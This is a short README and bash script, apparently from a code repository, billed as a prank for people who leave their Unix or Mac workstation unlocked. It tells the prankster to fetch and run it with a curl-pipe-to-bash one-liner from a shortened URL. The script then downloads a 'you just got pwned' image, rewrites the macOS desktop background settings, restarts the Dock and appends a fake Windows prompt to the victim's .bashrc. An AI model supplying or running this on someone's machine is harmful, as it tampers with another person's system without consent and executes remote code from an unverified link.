When a someone fails to lock their screen, curl this file and pipe it to bash to teach them a lesson.

lock_your_screen

# This is the one stop prank script for unattended Unix-like workstations.
# Use it with the simple one-liner:
#    curl -L j.mp/__lys | bash

linux_specific(){
    echo "Doing Linux-specific pwnage..."

    true
}

mac_specific(){
    echo "Doing Mac-specific pwnage..."

    setBackground(){                                                                                                                                                                                                       
        for k in $(/usr/libexec/PlistBuddy -c "print Background" Library/Preferences/com.apple.desktop.plist | awk '/^    [a-zA-Z0-9]/{print $1}') default; do
            /usr/libexec/PlistBuddy -c "Delete Background:$k:ImageFilePath" Library/Preferences/com.apple.desktop.plist
            /usr/libexec/PlistBuddy -c "Delete Background:$k:NewChangePath" Library/Preferences/com.apple.desktop.plist
            /usr/libexec/PlistBuddy -c "Delete Background:$k:NewImageFilePath" Library/Preferences/com.apple.desktop.plist
            /usr/libexec/PlistBuddy -c "Delete Background:$k:Placement" Library/Preferences/com.apple.desktop.plist
            /usr/libexec/PlistBuddy -c "Add Background:$k:ImageFilePath string $1" Library/Preferences/com.apple.desktop.plist
            /usr/libexec/PlistBuddy -c "Add Background:$k:Placement string SizeToFit" Library/Preferences/com.apple.desktop.plist
        done
        killall Dock
    }
}

common(){
    echo "Doing common pwnage..."

    # pwn desktop background
    curl -L http://f.cl.ly/items/3G1P3p2F3c1R2c2E3C3U/You_just_got_pwned.jpeg -o ~/Downloads/10.jpg
    setBackground ~/Downloads/10.jpg

    # pwn bash prompt
    echo "export PS1='C:${PWD//\//\\\\}> '" >> .bashrc
}

platform=$(uname -s)
if [[ "$platform" == "Linux" ]]; then
    linux_specific
elif [[ "$platform" == "Darwin" ]]; then
    mac_specific
fi
common